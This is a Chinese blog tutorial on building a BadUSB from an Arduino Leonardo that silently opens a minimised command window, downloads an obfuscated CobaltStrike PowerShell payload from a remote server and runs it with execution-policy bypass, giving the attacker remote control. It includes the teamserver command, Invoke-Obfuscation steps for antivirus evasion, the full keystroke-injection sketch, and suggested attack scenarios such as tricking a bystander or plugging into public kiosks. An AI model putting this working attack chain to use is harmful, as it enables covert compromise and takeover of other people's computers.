Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >BadUSB简单免杀一秒上线CobaltStrike

BadUSB简单免杀一秒上线CobaltStrike

作者头像
重生信息安全
发布于 2020-07-01 01:57:09
发布于 2020-07-01 01:57:09
2.2K00
代码可运行
举报
文章被收录于专栏:重生信息安全重生信息安全
运行总次数:0
代码可运行

0x01 简单免杀制作

1.CobaltStrike服务端准备

启动服务端命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./teamserver 192.168.1.6 adm1nt1st

2.CobaltStrike客户端登录并导出PS远控

输入服务端IP端口密码,用户名随意写

设置监听器

Payload默认即可,端口尽量别冲突

选择Payload后门生成

生成PowerShell

运行保存在桌面的payload.ps1,在杀软全程开启的情况下直接上线(易翻车,运气好)

3.编码混淆

PowerShell的免杀可以用Invoke-Obfuscation,Invoke-Obfuscation主要是对ps1脚本进行免杀,需要现有一个ps的payload。

进入Invoke-Obfuscation目录后,在PowerShell中执行命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

遇到权限报错问题可以参照:

https://blog.csdn.net/ebzxw/article/details/85019887

然后执行命令,指定待处理的Ps1文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set scriptpath c:\xxx\payload.ps1

或者指定待处理的ps代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set scriptblock 'echo xss'

输入encoding 并选择编码方式,比如1

输入命令,导出免杀ps文件到指定路径

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
out C:\xxx\xxx.ps1

运行上线,至此,简单免杀制作完成。

4.放到远程服务器备用

0x02 BadUsb制作

1.将硬件插入电脑

2.打开Arduino IDE

工具->板->选择"Arduino Leonardo"

端口->选择"COM (Arduino Leonardo)"

3.将以下代码粘贴到arduino

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void setup() {
  // putpower shell your setup code here, to run once
  Keyboard.begin();//开始键盘通讯 
delay(3000);//延时 
Keyboard.press(KEY_LEFT_GUI);//win键 
delay(500);
Keyboard.press('r');//r键
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD  /q /d /f:off /v:on /k MODE con: cols=15 lines=1");  //无回显
//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\"");   //有回显
delay(500);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(2000);
Keyboard.println("powershell");
Keyboard.println("$clnt = new-object system.net.webclient;");
Keyboard.println("$url= 'http://xx.xx.xx.xx/xxx.ps1';");  //远程服务器ps1远控地址
Keyboard.println("$file = 'd:\\xxx.ps1';");      //下载到目标存放文件的地址
Keyboard.println("$clnt.downloadfile($url,$file)");  //采用分段执行绕过防火墙进程防护
Keyboard.println("powershell.exe -executionpolicy bypass -file d:\\xxx.ps1"); //本地权限绕过执行木马脚本
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK); 
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯 
}
 
void loop() {
  // put your main code here, to run repeatedly:
 
}

代码大体意思:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
插入BadUsb后等待3秒
按下Windows+R
切换大写绕开输入法
模拟输入字符串,最小化打开cmd窗口
隐藏输入特定命令,下载远控并调用powershell执行

4.接下来进行烧录程序

注意右下角,程序写到BadUSB里,别写错地方了,程序不报错证明成功

0x03 上线测试

1.电脑插入BadUSB

会有些许痕迹,大家后续集思广益可以自己改善

会有一个很小的cmd窗口,放大里边没任何内容

可以看到更新火绒库后不会报毒

2.打开CobaltStrike,发现已经上线

0x04 攻击场景

1.社工攻击

小姐姐小姐姐,我的电脑坏了,插不了U盘,你的借我插一下呗

2.带有USB接口的终端机

各场所终端机器,找到USB接口怼进去

3.其他应用场景自行脑补

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-06-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
编辑精选文章
换一批
物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线
随着设备不断的升级改进,USB 能够连接到许多不同的设备,包括鼠标、键盘、相机、摄像头、无线网络设备等。但不幸的是,USB 的设计方式产生了这个 BadUSB 安全漏洞。
Gamma实验室
2021/10/20
1.6K0
物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线
插一个U盘黑一台电脑-Badusb最详细制作教程
在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态
天钧
2019/11/27
17K3
插一个U盘黑一台电脑-Badusb最详细制作教程
【近源】Badusb的使用
之前在某公众号看到一篇关于Badusb做近源渗透的文章,之前看过很多的这类设计。本质上Badusb就是用一个单片机模拟出一个键盘,通过键盘键入恶意指令,可以绕过防火墙和不少杀毒软件。 由于自己设计太麻烦了,芯片虽然是有现成的,但是还要买装芯片的壳之类的,太麻烦了。反正只是研究的作用,就某宝上买了一个现成的。 我买的芯片是Leonardo USB ATMEGA32U4,金属外壳的比较好看捏,这个主控主要的问题是Flash太小了,刷的东西多一点都装不下(不过好像也就写个shell进去麻,不用写太多东西) 程序在Arduino中编写
正汰
2024/01/25
3450
【近源】Badusb的使用
BadUSB制作教程
和大多数人一样,最初见到BadUSB是在美剧《黑客军团》中,是fsociety组织常用的工具之一,无论是向服务器下载木马控制被害者主机,还是达琳在停车场帅气的扔出大量USB钓鱼,BadUSB都是功不可没的物理武器之一。
HACK学习
2019/08/05
13.8K0
低成本玩转硬件安全(一) | BadUSB on Arduino
引言 鉴于硬件安全对于大多数新人是较少接触的,而这方面又非常吸引我,但是部分专业安全研究设备较高的价格使人望而却步。在该系列中,笔者希望对此感兴趣的读者在花费较少金钱的情况下体会到硬件安全的魅力所在。 本系列计划分成四个部分:BadUSB on Arduino; RFID on PN532; GSM on Motorola C118 ; SDR on RTL2832U(电视棒)。 背景 BadUSB早在2014年底的PacSec会议上便已经提出,这是USB协议中的一个漏洞————USB设备可以伪装成为其他任
FB客服
2018/02/23
2.2K0
低成本玩转硬件安全(一) | BadUSB on Arduino
Badusb原理及制作并简单免杀实现远控教程
2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉,badusb仍有一层朦胧的面纱。本文将带你揭开这层神秘的面纱。
天乐404
2023/11/16
1.9K0
Badusb原理及制作并简单免杀实现远控教程
skr ~~HID攻击之实战篇
在之前的关于HID攻击介绍文章中,学习了解了HID攻击,是否感觉很有趣呢?是否也想在实际中进行操作一波呢?接下来,就跟着斗哥进行实践玩耍吧:通过Badusb高效的执行能力,再结合Powershell后门,趁着小伙伴离开之际,get到小伙伴电脑的权限…emmmm····
漏斗社区
2018/08/20
1.3K0
skr ~~HID攻击之实战篇
关于HID攻击介绍
HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种,在badusb之前还有两种HID攻击分别是teensy和USB RUBBER DUCKY(usb橡皮鸭)。斗哥先介绍以下这三种类型有何不同。
漏斗社区
2018/07/31
2K0
关于HID攻击介绍
你电脑的 WiFi 密码全是我的
无线的时代已经来临,是他让我们感受到了没有线的束缚的感觉,随之而来的安全问题就越来越多,如今主流的 WiFi 密码破解手法如:跑字典丶钓鱼 WiFi 他们都是有自己的优缺点,跑字典需要大量的字典数据和算力的设备进行跑,钓鱼 WiFi 需要长时间的等待。而这些破解手法还不一定能百分之百能破解目标 WiFi,接下来我们将使用一种非常简单的手法进行收集 WiFi 密码和 WiFi 名字。
信安之路
2018/12/12
8990
你电脑的 WiFi 密码全是我的
记一次powershell的免杀之路(绕过360、火绒)
powershell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,PowerShell脚本的文本文件,其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。
潇湘信安
2021/11/12
6.9K0
记一次powershell的免杀之路(绕过360、火绒)
免杀|白加黑的初步探究
为什么我们需要白加黑这种攻击方法呢?答:降本增效,我们知道在以后AI+安全崛起的大背景下,社工将会成为攻防演练项目中,成本最低,效率最高的一种攻击方式,而这个时候"白加黑"的成本优势就体现的淋漓尽致了。
亿人安全
2023/04/11
3.3K1
免杀|白加黑的初步探究
7块钱的BadUSB
引言 BadUSB最早是在2014年的黑帽大会上研究人员JakobLell和Karsten Nohl提出并展示的。不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让
安恒信息
2018/04/09
7.5K0
7块钱的BadUSB
黑科技:程序员如何打造属于自己的分体键盘
前言 作为一名程序员,键盘在手,天下我有啊,不整个高大上的键盘怎么提升B 格。之前一直想买个机械键盘,听说机械键盘敲代码时格外舒爽,实在是提升效率与 B 格的神器。 普通机械键盘 使用普通的键盘打字打久了手腕很容易感觉疲劳,因为敲键盘时手腕总是弯着的。于是乎就想买一个符合人体工程学的分体式机械键盘。 结果找了半天都没有比较中意的,找到几个人体工程学键盘,都是薄膜的,而且价格高得离谱,不就多个人体工程学光环嘛。。。身为程序员中的屌丝,岂能被金钱这种东西折腰呢? 带 “人体工程学光环” 键盘 为了不
腾讯Bugly
2018/03/23
1.5K0
黑科技:程序员如何打造属于自己的分体键盘
Powershell免杀从入门到实践
在之前发布的一篇 渗透技巧之Powershell实战思路中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学习powershell在对抗Anti-Virus的骚姿势。
FB客服
2021/03/09
2.9K0
Cobaltstrike免杀从源码级到落地思维转变
距离上一篇文章《那些FastJson漏洞不为人知的事情(开发角度)》已经过去三天了,但在我的心中仿佛过了一年。这三天是我在分析Cobaltstrike源码的一个过程,阅尽代码冷暖,但我依然要说一句Cobaltstrike牛逼~
天钧
2021/01/05
1.4K0
Cobaltstrike免杀从源码级到落地思维转变
Mimikatz的18种免杀姿势及防御策略
Mimikatz是法国人Benjamin Delpy编写的一款轻量级的调试工具,理论上可以抓取所有windows系统的明文密码(winxp之前的好像不行),因此在内网渗透过程中应用非常广,属于内网渗透必备工具之一,被很多人称之为密码抓取神器。Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多,本文主要是介绍一下mimikatz的一些免杀方式。
FB客服
2020/05/14
3K0
Mimikatz的18种免杀姿势及防御策略
免杀|利用RGB隐写隐藏Shellcode
本篇文章将演示利用隐写术将 Shellcode 隐写入 PNG 图片 RGB 像素中,从而隐藏后门代码,并进行远程加载控制目标主机。
HACK学习
2021/09/29
2.2K0
真车转向拨杆拆车件+Arduino实现欧卡2游戏内模拟对应功能——第1部分:前期调研
我想要基于Arduino做一个游戏中控盒,其本质是连接到电脑上的游戏控制器。现在我有Arduino开发板,4个复位按键,2个自锁按键,1个旋钮以及充足的连接线。复位按键指的是按下去后,可以自动弹开,即一瞬间触发,可用于游戏中切换功能;自锁按键指的是按下去后,按键不会弹开,可用于游戏中转向灯;旋钮可用于对游戏进行线性控制。问题如下:(1)我应该学习哪些知识,以实现这个想法(2)这几个按键其实就相当于自定义键盘,但是不能跟键盘上任何按键功能冲突,这在windows中可以实现吗?(3)给出详细的解决方案,解决方案需要包括原理分析、Arduino和器件接线图、Arduino代码
用户6948990
2025/04/16
1630
远控免杀从入门到实践——工具总结篇
在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后,我开始学习和研究市面上知名度比较高的免杀工具,从互联网上找到了大约 30 多个免杀工具,从中筛选出来了 21 个工具进行免杀测试和学习,耗时一个多月时间。
FB客服
2020/02/26
4.2K0
利用Cobalt Strike's Artifact Kit 进行免杀
介绍如何在Cobalt Strike's Artifact Kit中使用直接系统调用来绕过AV等。介绍Artifact Kit的地址为:
鸿鹄实验室
2021/12/15
2.2K0
利用Cobalt Strike's Artifact Kit 进行免杀
相关推荐
物理渗透战士:教你如何使用BadUSB配合CS免杀实现上线
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验